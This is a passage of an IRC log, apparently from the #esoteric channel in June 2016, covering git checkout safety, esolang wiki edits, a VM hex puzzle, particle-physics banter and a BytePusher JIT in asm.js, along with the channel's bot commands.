23:44:17 A bit curiously there seems to be no corresponding rev-parse option to show the GIT_WORK_TREE. 23:45:40 Maybe that's what the "top-level directory" means in this context. 23:56:35 `wisdom 23:56:56 lystrosaur//The lystrosaurs were an ancient genus of evil reptiles who successfully took over the world in the early Triassic. 2016-06-02: 00:18:02 > log (1.7 * 10**38) 00:18:03 88.02886178483591 00:18:08 > exp 88 :: Float 00:18:10 1.6516363e38 00:18:18 > exp 89 :: Float 00:18:21 Infinity 00:19:16 comex... isn't here 00:19:17 Blah 00:19:31 <\oren\> what the heck is "Jan Mayen" 00:20:33 bon joily 00:20:56 (hurray for daytime that extents until 9pm) 00:21:49 `wisdom 00:22:11 off by two//An off by two error is what happens when you expect an off by one error but compensate in the wrong direction. 00:22:13 `? infinity 00:22:18 infinity? ¯\(°​_o)/¯ 00:23:04 -!- dos has joined. 00:24:47 hmm. it is suddenly very important that i create an esolang such that "being locked in a matrix of solidity" is meaningful in terms of describing program state 00:25:14 `le/rn infinity/In finity we trust. 00:25:19 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 00:25:29 Learned «infinity» 00:26:06 `le/rn finity/Enjoy being locked in your matrix of finity. 00:26:13 Learned «finity» 00:26:48 -!- hppavilion[1] has joined. 00:27:23 hppavellon[1] 00:29:10 -!- dos has quit (Ping timeout: 252 seconds). 00:31:38 -!- Koen_ has joined. 00:31:52 seems like he's having lots of them connection issues 00:32:09 hi koen 00:34:41 hi quintopia 00:34:55 connection tissues are important 00:38:52 only if they help with the issues 00:41:15 `? shakespeare 00:41:21 shakespeare? ¯\(°​_o)/¯ 00:41:25 `le/rn shakespeare/And besicue and a saint and son the may bean the butcious and one them bear and may me for here the mance of my lord, and leave and thou arl of the prince and will not and and hour blood and the be buralont; 00:41:28 Learned «shakespeare» 00:42:14 tswett: is your keyboard drunk? 00:46:13 bonsointopia! 00:48:45 it turned from day to evening in the time it took you to reply 00:50:22 No no, that's from one of Shakespeare's plays. 00:51:25 No, it's from your matrix multiplier. 00:51:30 A relatively obscure one: "The Man the Confent and the Confent and the Man the Man and the Man". 00:51:41 Okay, I confess, it's from my matrix multiplier. 00:51:41 I don't think your thing is refined enough to go in wisdom/ yet. 00:52:00 `addquote I don't think your thing is refined enough to go in wisdom/ yet. 00:52:03 1281) I don't think your thing is refined enough to go in wisdom/ yet. 00:52:07 is it just a shakespearean markov chain? 00:52:22 coppro: Did you see the discussion in #haskell about copprofunctors? 00:53:52 slightly 00:55:07 quintopia: no, it's a neural net. 00:55:22 No, it's an artificial neural network. 00:55:30 ugh, okay, one last time: 00:55:41 has anyone else in this channel looked at http://skullcode.com/ before? 00:57:05 Is that viewer thing looking at its own memory? 00:59:00 -!- PinealGlandOptic has quit (Ping timeout: 260 seconds). 00:59:40 Phantom_Hoover: is that some kind of mastermind-like riddle? 01:00:17 something like that, it's a 32-bit VM with a hex editor loaded into it 01:01:10 but if you scroll down to the address 00006666 there's a graphic with an exclamation mark in it, and if you overwrite that exclamation mark with a space or NUL then stuff starts happening 01:02:24 http://skullcode.com/bootstrap/hexboot.txt if you want to play the more dangerous game than just mess around in the browser. 01:03:02 that thing's for x86, though, and a lot smaller than skullcode; it's a spiritual predecessor 01:05:28 there's a block of encrypted data from 61b0 to 65b0; it's pretty easy to play along with it and get a password that'll decrypt the first 32 bytes, but i have no clue how to get at the rest 01:12:22 i wrote a disassembler if anyone's interested 01:23:46 -!- oerjan has joined. 01:24:55 zhoily. 01:26:09 @tell int-e I think GND is still not considered to be SafeHaskell anyway. <-- oh right. 01:26:10 Consider it noted. 01:26:46 @tell int-e anyway, turns out there's probably no exploit there. 01:26:46 Consider it noted. 01:27:48 oerjan: GND is the opposite end from Vcc hth 01:28:35 fungot: do you do electronics? 01:28:35 boily: this is not the other way around... fnord/ home 01:28:45 fungot: apparently not. 01:28:45 boily: i'm editing this down. user:guernseykidguernseykid 03:54, 26 june 2006 ( utc). small—preceding wikipedia:signaturesunsigned comment added by special:contributions/ fnord) 01:28:59 boily: wat 01:29:47 oerjan: when designing circuits, you have Vcc on one end, and GND at the other end. stuff go between them. 01:29:55 hm 01:30:09 * oerjan doesn't really do electronics, obviously. 01:32:24 electronics aren't very much more complicated than that. Vcc is the plus end on your battery. I give you two tries to match what GND is :P 01:32:51 boily: you heard about super mario bros being pspace-complete? 01:32:56 nowadays, it's like: read the spreadsheet, supply the correct voltage, ?????, profit. 01:32:59 wish i could find a preprint 01:33:01 quintopia: eh? 01:33:22 s/spread/spec/. damned time spent doing excel. 01:33:36 boily: i had already guessed what GND is. 01:33:42 boily: turns out you can make arbitrary circuits by opening or closing pathways by jumping to bump spinies on one or another side of a brick barrier 01:34:27 * boily is intrigued 01:34:35 me too 01:34:47 but the paper isn't presented until next week, and it isn't available anywhere 01:34:59 not even on arxiv? 01:36:12 The horror <-- i get the impression hppavilion[1] is a bit sensitive. 01:36:50 nope 01:37:00 * boily horrifies hppavilion[1] with a pluridimensional mapole 01:46:36 `wisdom usual 01:46:39 usual suspect//There are 3.99 usual suspects in #esoteric, but they're usually rounded up. 01:46:46 -!- quintopia has changed nick to Quintopia. 01:50:52 `culprits wisdom/usual 01:51:00 No output. 01:51:06 `culprits wisdom/usual suspect 01:51:15 shachaf shachaf 01:51:38 i am conflicted. 01:51:42 shachaf is the usual suspect 01:52:12 on the one hand, that deserves a swat, on the other i didn't get the pun until now. 01:52:36 * oerjan gives shachaf an IOU for a swat. 01:53:06 oerjan: Wait, you didn't get the pun until now? 01:53:11 correct. 01:53:13 That explains why I wasn't swatted. 01:53:22 I thought for sure that one would earn me a swat. 01:54:31 i take it nobody else is very interested in skullcode then 01:54:34 oerjan: do you have a mobile internettified swatter? 01:55:42 that's too many buzzwords tdnh 01:57:31 also too many acronyms 01:57:51 you should try the new iSwatter. comes in a tall glass! 01:58:25 (what pun?) 01:59:24 Did you see _Casablanca_? 01:59:30 Koen_: in the wisdom hth 02:00:26 is that because round up might mean two things? 02:00:42 ...yes. 02:02:08 -!- Kaynato has quit (Quit: Leaving). 02:06:23 -!- Phantom_Hoover has quit (Remote host closed the connection). 02:07:37 :( 02:07:59 problems? 02:09:20 yes. i can't install/upgrade vmail because of a problem with its gem dependencies. i don't know enough about ruby and gems to fix it. 02:10:47 neither do i. 02:21:36 `` ls wisdom/*zout* 02:21:44 wisdom/bezout \ wisdom/bézout \ wisdom/bezout's \ wisdom/bézout's \ wisdom/bezout's theorem \ wisdom/bézout's theorem 02:22:02 `culprits wisdom/bezout 02:22:08 `culprits wisdom/bézout 02:22:09 b_jonas 02:22:14 b_jonas 02:22:16 `culprits wisdom/bezout's 02:22:16 also it appears that i can't install vim with clientserver flag enabled (or compile it from source) without installing most of gnome? 02:22:21 b_jonas 02:22:24 `culprits wisdom/bézout's 02:22:28 b_jonas 02:22:34 `culprits wisdom/bézout's theorem 02:22:38 `culprits wisdom/bezout's theorem 02:22:42 b_jonas 02:22:47 b_jonas 02:23:30 `` rm -v wisdom/b{e,é}zout{,\'s} 02:23:35 removed `wisdom/bezout' \ removed `wisdom/bezout\'s' \ removed `wisdom/bézout' \ removed `wisdom/bézout\'s' 02:24:04 @tell b_jonas seriously, don't make 6 copies of the same wisdom entry. 02:24:04 Consider it noted. 02:26:47 `? bezout's theorem 02:26:49 Bézout's theorem says that if a system of polynomial equations over the complexes has as many variables as equations, then in the general case the number of solutions it has is equal to the product of one less than the degrees of the polynomials. 02:26:52 what if they were symbolic links? 02:26:58 What? 02:27:08 Quintopia: sadly, symbolic links sometimes get broken. 02:27:13 -!- spiette has quit (Quit: :qa!). 02:27:18 by `reverts. 02:27:30 -!- boily has quit (Quit: TIGHT CHICKEN). 02:29:21 (not that i care in this case, it's a crappy entry.) 02:29:30 Ī keep forgetting about mȳ macron propōsal. 02:29:58 Whȳ dōn't Ī tȳpe līke this all the tīme? 02:34:04 oerjan: I forget, what was I horrified about? 02:34:19 hppavilion[1]: goat sex hth 02:34:20 Ah, yes 02:34:24 I remember now 03:33:25 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 03:36:13 Kinda interesting looking at video memory in a hex editor. 03:37:25 The thing is, of course, you're looking at a display of the display. Like pointing a TV camera at the TV that's showing the signal. 03:43:13 * oerjan soundly swats shachaf -----### 03:44:05 delayed-action logreading 03:44:39 the speed of sound isn't that great 03:45:09 i,i faster than the speed of sound in a vacuum 03:51:15 @tell gamemanj spräk does not mean language hth 03:51:15 Consider it noted. 03:54:31 `? i,i 03:54:41 i,i i,i what is i,i 03:55:37 -!- hppavilion[1] has joined. 04:00:54 tswett: ask rntz hth 04:01:11 I never know what it actually stands for. 04:11:34 [wiki] [[Z]] https://esolangs.org/w/index.php?diff=47098&oldid=47066 * 71.202.114.203 * (+129) 04:16:52 -!- jaboja has quit (Ping timeout: 260 seconds). 04:22:20 Oooh 04:22:24 Subfactorial is a thing 04:26:41 5-3=-15 04:32:11 -!- Koen_ has quit (Quit: Leaving...). 04:42:13 <\oren\> what is the inverse of factorial called? 04:42:31 fictionorial 04:51:38 -!- lambda-11235 has quit (Read error: Connection reset by peer). 04:54:39 ..huh 04:54:44 *... 04:54:57 Atoms literally pass through each other when going fast enough 04:55:05 That's it, I'm convinced. The universe is a simulation. 04:55:11 And a rather poorly-made one at that 05:01:50 -!- lambda-11235 has joined. 05:04:44 `quote 1281 05:04:46 1281) I don't think your thing is refined enough to go in wisdom/ yet. 05:05:02 `delquote 1281 05:05:11 ​*poof* I don't think your thing is refined enough to go in wisdom/ yet. 05:05:16 see, now you don't even need to worry about the double space 05:05:19 OKAY 05:10:34 shachaf: You're only allowed to delete quotes after reading at least 5 quotes hth 05:11:18 (As in, for every 5 quotes you read in a 1-hour timespan, you may delete one of the quotes that you read) 05:12:46 `sled hppavilion[1]///./d 05:12:51 Rosebud! 05:13:11 oerjan: have you considered that some people don't want to have movie spoilers right in HackEgo hth 05:15:37 no. 05:15:41 tdh 05:16:07 For example a decade ago I didn't even know about that spoiler. 05:16:10 shachaf: Wait, what? How does sled work again? 05:16:23 hppavilion[1]: i don't think that rule applies to very recent quotes hth 05:16:31 oerjan: Oh, right 05:16:55 `quote do they work.*zzo38 05:16:56 1056) Hmm, is an Electronic Signature in a PDF file a thing? How do they work? [1] Yes. [2] It doesn't. 05:19:22 hppavilion[1]: it lets you apply a sed script to a file hth 05:19:31 oerjan: Oh? 05:19:58 "This is generation 0. Every time you see this line in a signature, if your signature does not already contain such a line, add this line to your signature with the count multiplied by i and incremented by 1" 05:20:23 `sled canary//s/ø/ꙮ/ 05:20:24 canary//test 05:20:27 oops 05:20:37 someone's changed it 05:20:48 `mv canary tmp 05:20:49 mv: missing destination file operand after `canary tmp' \ Try `mv --help' for more information. 05:21:17 `cp canary tmp 05:21:18 cp: missing destination file operand after `canary tmp' \ Try `cp --help' for more information. 05:21:29 `sled canary//s/e/ꙮ/ 05:21:32 canary//tꙮst 05:21:39 <\oren\> `quote canary 05:21:40 No output. 05:23:13 The first 100 possibilities are 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 05:23:19 Much less interesting than I thought 05:23:47 <\oren\> `quote hpp 05:23:48 1244) hppavilion1: there's not much point in `addquoting an `addquote unless the person who added it was somehow significant, or there's interesting context because you can tell it was added from the fact that it's there \ 1255) What is an esolang? shachaf: It's an archaic term for an Esolang \ 1256) `quote hach 05:24:25 hppavilion[1]: looks a bit repetive 05:24:26 598) VMS Mosaic? I hope that's not Mosaic ported to VMS. Hmm. It's Mosaic ported to VMS. \ 608) * Sgeo|web wants to see elliott be wrong about something Sgeo|web: That literally never happens. Sgeo|web: There you go. A great example. \ 612) You should get kmc in this channel. kmc has g 05:24:41 `quote 612 05:24:41 oerjan: Yes, it does 05:24:42 612) You should get kmc in this channel. kmc has good quotes. `quote kmc 686) COCKS [...] truly cocks Well, in theory. 05:25:08 oerjan: I should probably think about complex numbers before using them. 05:25:24 First figure out the mplex numbers. 05:25:44 Or you can figure out the simplex numbers. 05:25:51 shachaf: Those are the split-complexes, aren't they? 05:26:03 Maybe a simplicial complex is made out of a simplex number and a complex number. 05:26:38 ørjan is an expert in simplicial complexes and homology and all sorts of things 05:26:42 shachaf: I do like smashing together different types of complex 05:26:45 I bet he's taught oerjan a thing or two. 05:26:50 @google simplicial complex 05:26:51 https://en.wikipedia.org/wiki/Simplicial_complex 05:26:53 like a+bi+cj+dij 05:27:34 hppavilion[1]: aren't you confusing complexes and hadrons 05:27:58 <\oren\> Agh everything is exploding 05:27:59 oerjan: What's a hadron? As in, the large kind that we like colliding? 05:28:18 they aren't that large 05:28:25 indeed they're not 05:28:35 they're larger than electrons, though 05:28:38 true 05:28:45 it's all relative; good thing we have theories to handle that 05:28:50 well, by mass. 05:28:59 coppro: Um, then why do we have a machine to collide large hadrons? 05:29:11 hppavilion[1]: because who doesn't like exotic explosions? 05:29:35 <\oren\> I don't like it when my fuel tanks explode 05:29:51 coppro: No one, but if hadrons weren't large, then a collider for large hadrons wouldn't be able to make exotic explosions. 05:30:01 Because there wouldn't be anything to collide 05:30:16 true 05:30:29 it's all got to do with the theory of relativity 05:30:38 at relativistic speeds, hadrons are relatively large 05:30:40 Being able to use dvorak at a wpm so high you need scientific notation to express it is useless when you're at a qwerty keyboard 05:30:50 that's why the collider needs to get them going so fast 05:31:22 I prefer the obscene hardon collider myself, though 05:31:38 we were trying not to make that joke, hppavilion[1] 05:31:48 oerjan: I was too, but I failed 05:32:05 oerjan: I at least found a mildly funny context for it 05:32:08 fun fact: the LHC beam has about 362 MJ in it during the course of normal operation 05:32:32 that's about $18 of electricity 05:32:32 coppro: Meh. I prefer HJ-scale colliders 05:32:53 those are some expensive dollars 05:33:00 oerjan: Yes 05:33:42 HJ? 05:34:23 don't answer that. 05:34:38 ohhh 05:34:45 coppro: Hellajoule 05:35:19 * oerjan realizes he has a dirtier mind than hppavilion[1], then implodes. 05:35:24 oerjan: What? Do you have something against hellajoules, or did you think it was another pointless joke? 05:35:30 hectojoule, i assume 05:35:34 oerjan: Yep, you thought it was dirty, when it wasn't 05:35:36 * hppavilion[1] wins 05:35:41 * happydance 05:35:50 IT WAS A TRAP 05:35:55 <\oren\> I know what oerjan was thinking 05:35:59 oerjan: It was not 05:36:13 I'm still trying to figure it out. My best guess is H=hand 05:36:36 Of course, I prefer the Large Boson Collider to the Large Hadron Collider any day 05:37:37 (OK, I have to ask: Is there a physics reason why Boson collisions aren't interesting? Or are they just impossible to deal with in the same way the LHC deals with Hadrons, so we had to make a choice and chose to make a Large Hadron Collider instead of a Large Boson Collider?) 05:38:37 oerjan: Of course, if it makes you feel better, my mind is almost certainly dirtier than yours; I just happen to have developed a filter that prevents me from saying 999.9999999999952‰ of things that come to mind 05:38:54 hppavilion[1]: you can collide composite nuclei that are bosons, i think. 05:39:16 oerjan: Wait, I forget, are Hadrons and Bosons mutually exclusive? 05:39:21 God, so many particle types 05:39:28 i think they are colliding lead, but i'm not sure whether they're bosonic or fermionic. 05:40:26 hppavilion[1]: no, mesons are hadrons and bosons iirc. but you cannot keep them long enough to use them. 05:40:32 oerjan: Ah 05:40:52 Is there a meson called the Black Meson? 05:41:17 (A reference, of course, to Black Mesa from various Valve games I've never played) 05:41:45 basically protons, electrons, and their antiversions are the only charged subatomic particles that live long enough to be used, i think. 05:42:16 hppavilion[1]: i don't think there's one, they're usually named after greek letters. 05:42:23 oerjan: Yeah :/ 05:43:16 oerjan: ...question #492 on my Grand List of Questions: How the hell can there be such thing as an "Anti-neutron"? If an antiparticle has the opposite charge, and a neutron has no charge, how can there be such a thing as the opposite of 0? 05:45:34 hppavilion[1]: btw i think some people are trying to collide photons, which are bosons. 05:46:24 oerjan: ...collide photons? You have something moving at literally the speed of light, and which from its point of view the entire universe is in the same place, and you're trying to make them hit each other? 05:47:32 hppavilion[1]: the anti-neutron consists of 3 anti-quarks, each of which is the antiparticle of a corresponding quark in the neutron. 05:47:48 oerjan: Ah, yes, that works 05:47:57 I forgot about quarks 05:48:17 I wonder what we're going to call it when we find something smaller than a quark... (don't argue, you know it's going to happen) 05:48:25 (for a certain value of "consists". there are all manner of virtual gluons and quarks inside.) 05:50:31 hppavilion[1]: i didn't say getting photons to collide is easy. (and i'm not sure whether it was supposed to be within currently realistic technology or not.) 05:50:51 although you just to aim enough in the same spot, you'd think. 05:50:56 *+have 05:51:27 oerjan: Furthermore, you'd think that a couple photons would have collided at some point near a scientific instrument in the last decade or so 05:51:44 I mean, photons are small 05:51:50 But there are also a lot of them 05:52:03 It doesn't seem like they could /not/ collide if it was possible 05:54:07 hppavilion[1]: fwiw your question about anti-neutrons applies much better to anti-_neutrinos_. (in which case something called "chirality" related to spin becomes reversed) 05:55:25 but neutrinos are so weird some theorize they are their own antiparticles ("Majorana neutrinos") 06:00:53 Santorum: "If people thought about gay sex as much as I do, they'd understand how disgusting it is" 06:02:37 O KAY 06:03:17 oerjan: Like Chu spaces? 06:03:32 shachaf: wat 06:03:35 And vector spaces, I guess. 06:03:41 self-dual 06:05:43 sounds a bit of a thin connection 06:05:58 (no pun intended) 06:06:19 -!- Xe has quit (Ping timeout: 260 seconds). 06:06:31 (or recognized) 06:06:58 Well, it's not all that thin, because I was thinking of Chu spaces just now. 06:09:58 practically monofilamentary 06:10:55 Do you like Chu spaces? 06:13:17 "Would you rather be able to fly, but only at 0.000001c, or be able to breath underwater, but only for a millicentury" 06:13:42 ^^^good "would you rather" to differentiate those who do understand math/physics/SI/etc from those who do not 06:14:31 please reconsider the perspective that leads you to write a sentence like that twh 06:14:42 shachaf: Me? 06:14:48 you 06:14:52 shachaf: Me? 06:15:13 * hppavilion[1] desperately scrambles for a joke to make out of this 06:15:28 shachaf: Which perspective in particular? 06:17:20 shachaf: I don't see which perspective I need to reconsider 06:17:29 There are a few I need to deconsider, though 06:24:03 -!- ^v has quit (Quit: ZNC - http://znc.in). 06:24:24 -!- ^v has joined. 06:36:02 hppavilion[1]: always decant cider 06:40:35 <\oren\> I prefer Pika spaces 06:40:44 <\oren\> there 06:41:17 https://en.wikipedia.org/wiki/As_Slow_as_Possible: A 640-year song 06:56:55 I can't help but read https://en.wikipedia.org/wiki/Rastafari in a stereotypical Jamaican accent 06:57:09 At least, specific subsegments 06:58:23 obviously you should sing it to a reggae beat hth 07:20:07 -!- Xe has joined. 07:50:20 oerjan: um, if symlinks don't work, then could we have some other mechanism for aliasing wisdoms then? 07:55:21 -!- lambda-11235 has quit (Quit: Bye). 08:04:56 maybe. 08:05:16 I've wanted to set something like that up. 08:05:38 Wisdom redirects or something. Wisdom wildcards. Who even, like, knows, man. 08:24:26 shachaf: so add a wisdom/location directory, and if wisdom/$foo is not found, wisdom/location/$foo is read and it gives the canonical name to redirect to 08:24:46 How is that an improvement over links? 08:24:55 shachaf: not broken by revert 08:25:08 Oh, is that what it was about? 08:25:26 yeah 08:26:39 mind you, with any kind of links you have the problem that the two versions either may get accidentally out of sync, or accidentally edited together when the edit only fits one of them. 08:40:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 08:50:07 -!- oerjan has quit (Quit: Nite). 08:51:14 -!- Akaibu has quit (Quit: Connection closed for inactivity). 09:50:55 -!- S1_p has joined. 09:51:32 Oh, the wisdomme is back. Yay. 09:55:45 -!- xkapastel has quit (Quit: Connection closed for inactivity). 10:09:47 -!- Phantom_Hoover has joined. 10:26:18 -!- Koen_ has joined. 10:26:32 hello 10:34:33 hello 10:35:01 why is glogbot broken again 10:46:59 Ok, so I think I want to set up an alias that can do a git checkout to an existing branch, but will absolutely refuse to do the file restore operation that the git checkout command also does. 10:47:30 Also, I'd like it to print the previous branch or commit that was checked out, so it's easy to follow what happens. 10:49:58 git checkout is just too dangerous as is 10:52:51 I wonder how to convince git checkout to do this. 10:53:17 You'd want it to update what HEAD points at and maybe the index, but not do anything to the working tree? 10:53:38 fizzie: no, I do want to do a full checkout, as in update the working tree and the index too 10:53:52 Oh, just disallow the variant of checkout that takes paths? 10:53:58 fizzie: yes, that 10:54:28 git's syntax for objects and paths are horribly ugly, and there are magical syntaxes that apply to both but have a completely different meaning 10:54:47 like, :/foo is both a path and an object, but the :/ means something completely different 10:54:58 the syntax is just horrible 10:55:43 svn does this much better, there the syntax of urls (pointing to a file in a repository, or a version of a file in a repository) have a syntax that's not only disjoint from that of paths, but also visually different 10:55:49 so you can't accidentally confuse them 10:56:12 and the git checkout interface is horrible because it combines a safer operation with a very unsafe irreversible operation 11:00:56 You might just allow -- in a script -- unambiguously-an-existing-branch-and-nothing-else options, and then fall back to being careful and using the raw command if you need to do something strange. 11:01:03 Hopefully that'd cover most branch-switches. 11:22:45 -!- Phantom_Hoover has quit (Remote host closed the connection). 11:25:34 -!- Phantom_Hoover has joined. 11:35:17 -!- boily has joined. 11:36:53 -!- hppavilion[1] has joined. 11:37:53 -!- Phantom_Hoover has quit (Remote host closed the connection). 11:38:40 -!- Phantom_Hoover has joined. 11:41:16 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 11:42:38 -!- Phantom_Hoover has quit (Remote host closed the connection). 11:43:06 -!- Phantom_Hoover has joined. 11:51:03 fizzie: I don't know, it's probably possible to solve in some way like that, but I'll have to do some careful testing on it 11:52:04 I certainly don't want to checkout only existing branches. I often checkout -b to create a new branch (from HEAD or another commit), but the script can probably test for that. 11:52:36 [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47099&oldid=40050 * 80.7.4.196 * (+5) Fixed a bug - & has a higher precedence than -, so the - following it had to be wrapped in <> 11:53:04 hey, maybe I could make a script that does like (git checkout -B foo foo) to checkout branch foo 11:53:13 how do you pronounce ~-~! 11:53:38 but... why can't git just have at least an unambiguous long switch or command to force this, to make my life easier? 11:54:10 and when I solve this, I'll still have to solve the interface of git reset and git branch, although for those the ambiguity is less dangerous and for git branch I think I already know the solution 11:54:38 -!- gamemanj has joined. 12:10:34 -!- IvanSiber has joined. 12:15:01 `relcome IvanSiber 12:15:23 hey boily 12:15:32 ​IvanSiber: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 12:18:17 [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47100&oldid=47099 * 80.7.4.196 * (+1) Added a : to the end of write comment 12:20:30 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]). 12:28:36 -!- boily has quit (Quit: OPPOSITE CHICKEN). 12:29:54 -!- J_Arcane has joined. 12:35:58 Ok, I set up an alias such that (git switch foo) will do the same as (git checkout foo --). This works even with multiple arguments, and shouldn't checkout paths, unless I explicitly pass "--" as an argument. 12:35:59 -!- PinealGlandOptic has joined. 12:39:07 ok, so my previous messing around during this week has finally come to a conclusion: 12:39:10 https://dl.dropboxusercontent.com/u/21184720/kyouma/index.html 12:43:07 -!- Akaibu has joined. 12:43:42 -!- Phantom_Hoover has quit (Remote host closed the connection). 12:44:02 -!- Phantom_Hoover has joined. 12:44:08 tswett: "i,i" means roughly "I have nothing to contribute, I just like saying", i.e. it's a prefix for off-topic one-liners 12:44:30 comes from CMU zephyr (an old messaging protocol), I think 12:45:35 `? oona 12:45:50 oona? ¯\(°​_o)/¯ 12:45:51 `card-by-name oona 12:45:54 Oona's Blackguard \ 1B \ Creature -- Faerie Rogue \ 1/1 \ Flying \ Each other Rogue creature you control enters the battlefield with an additional +1/+1 counter on it. \ Whenever a creature you control with a +1/+1 counter on it deals combat damage to a player, that player discards a card. \ MOR-U \ \ Oona's Gatewarden \ (u/b) \ Creature -- Faerie 12:45:58 `card-by-name oona, 12:46:00 Oona, Queen of the Fae \ 3(u/b)(u/b)(u/b) \ Legendary Creature -- Faerie Wizard \ 5/5 \ Flying \ {X}{(u/b)}: Choose a color. Target opponent exiles the top X cards of his or her library. For each card of the chosen color exiled this way, put a 1/1 blue and black Faerie Rogue creature token with flying onto the battlefield. \ SHM-R, MMA-R, V11-M 12:51:43 -!- S1_p has quit. 12:54:06 -!- puckipedia has quit (Ping timeout: 244 seconds). 12:59:10 -!- puckipedia has joined. 13:08:13 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]). 13:10:21 -!- MoALTz has joined. 13:14:29 -!- J_Arcane has joined. 13:18:52 Oona is the 175th most common female name in Finland, with ~7500 people. 13:19:26 Interesting. 13:19:36 [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47101&oldid=47100 * 80.7.4.196 * (+105) Grammar and clarification 13:21:23 [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47102&oldid=47101 * 80.7.4.196 * (-1) Changed associativity of & 13:22:59 [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47103&oldid=47102 * 80.7.4.196 * (-2) Bugfix - removed trailing : 13:29:36 [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47104&oldid=47103 * 80.7.4.196 * (+173) Clarification about : 13:30:33 [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47105&oldid=47104 * 80.7.4.196 * (+1) Bugfix - removed trailing : 13:31:40 I'm getting the feeling asm.js should be classed as esoteric simply because of the crazy type checking 13:31:46 It's endless type checking 13:33:44 not really 13:34:05 it's just a ton of casts to 32-bit int 13:35:19 If I'm trying to be nice, I'd say asm.js is a version of LLVM for the web, but now the type annotations are weirder. 13:35:47 i don't know much about llvm but i'm sceptical 13:36:21 Eh, LLVM's relatively nice, it's like asm.js but you write in actual human-understandable string names for the type names instead of having to understand the exact details of how + modifies it's parameters. 13:36:37 Then again, it's SSA. 13:36:50 Then again again, people just stackalloc everything anyway. 13:36:57 asm.js can basically only work with 32-bit ints, that's one big difference 13:37:15 hmm, that's true 13:37:38 Wonder how they're going to weasel their way out of that one when it inevitably reaches the point where applications are limited 13:37:59 i don't think they will 13:38:17 Ah, you mean browser vendors will just detect this sort of thing? 13:39:05 no it'll just only be used to write fast code operating on 32-bit ints 13:39:34 Hmm, a possibility. 13:40:10 Now then, time to go use 32MiB instead of 16 because asm.js wants me to jump up to the next power of two to avoid a bounds check. Seriously. 13:40:36 (The ironic thing is that I added the 8 extra bytes because this is how to avoid bounds checks on BytePusher) 13:41:32 ...either that or I technically violate specification... 13:41:46 ...eh, violating specification it is. 13:41:59 -!- PinealGlandOptic has quit (Quit: leaving). 13:44:29 ...and now the browser gives me a second annoyance... "unable to cache asm.js in synchronous scripts"??? 13:45:23 I sincerely hope that the lack of caching refers to if I happen to compile the same function twice, and not if I happen to reuse the same function instance... 13:45:26 the skullcode vm is in asm.js, i actually find it a lot more readable than the minified JS that defines all the interface code 13:45:44 Well, there is readable asm.js out there 13:47:41 -!- Sgeo has quit (Ping timeout: 240 seconds). 13:48:50 Post-ASM.JS version of JIT, performance seems to be...worse than with the Pre-ASM.JS version of the JIT, judging by the now-stuttering audio... 13:49:21 Though it does keep having little bits where it runs normally... 13:49:38 lol 13:49:48 -!- zadock has joined. 13:50:21 Like, audio was always this "clicky", but it didn't outright stop as much. Good thing I have a backup of the pre-ASM.JS'd JIT. 13:51:12 -!- zadock has quit (Remote host closed the connection). 13:51:38 It seems it's actually not compiling more segments - it's literally just the overhead from running the asm.js. 13:52:30 I knew there'd be some entry/exit overhead due to the nature of the JIT, which would offset the benefit somewhat, but this bad? 13:52:32 you are running this on a JS interpreter which can compile the asm.js into machine code, right? 13:52:42 Firefox. Hence I was getting asm.js warnings. 13:52:52 Which I then resolved, 13:53:02 but it doesn't seem to have helped that much... 13:53:14 It's saying "successfully compiled asm.js code". 13:55:19 hang on are you writing asm.js manually?? 13:55:37 I should probably explain what's going on 13:55:45 I'm writing a BytePusher JIT 13:56:01 That JIT compiles segments of BytePusher code into JavaScript 13:56:13 I then changed it to write it into asm.js 13:56:19 Pre-ASM.JS: https://dl.dropboxusercontent.com/u/21184720/kyouma/index.html 13:56:23 Post-ASM.JS: https://dl.dropboxusercontent.com/u/21184720/kyouma-asm/index.html 13:57:10 What I at least notice is that although pre-asm.js, it's stuttery, once the VM loads up segments most of the problems are just due to my bad audio code. 13:57:26 Post-asm.js, it just doesn't stop stuttering. 13:59:11 A possibility is that perhaps the asm.js entry overhead causes the "which segment should be used for execution" code to be a lot slower, causing issues. 13:59:38 This means that the issue should be resolved by making a non-ASM.JS copy of that code. 14:00:33 (note: Multiple versions of one segment may be compiled for different circumstances. I assumed the "which segment to use" routine would benefit from asm.js, but I may well be wrong.) 14:03:50 -!- jaboja has joined. 14:08:02 yo gamemanj do you know about jsMESS? 14:08:12 that might help with what ever your doing 14:08:24 Akaibu: Nope, but I can guess. And anyway, I'm messing with BytePusher, so... 14:08:54 https://github.com/jsmess/jsmess www.archiveteam.org/index.php?title=Javascript_Mess 14:11:00 gamemanj: ^ 14:12:03 Well, I'm not using emscripten ^.^; 14:13:31 good to take tips though gamemanj 14:13:57 [wiki] [[~-~!]] https://esolangs.org/w/index.php?diff=47106&oldid=47105 * 80.7.4.196 * (+3079) Finally fleshed out library semantics 14:14:09 `? can has 14:14:53 can has? ¯\(°​_o)/¯ 14:15:25 True, but this is a 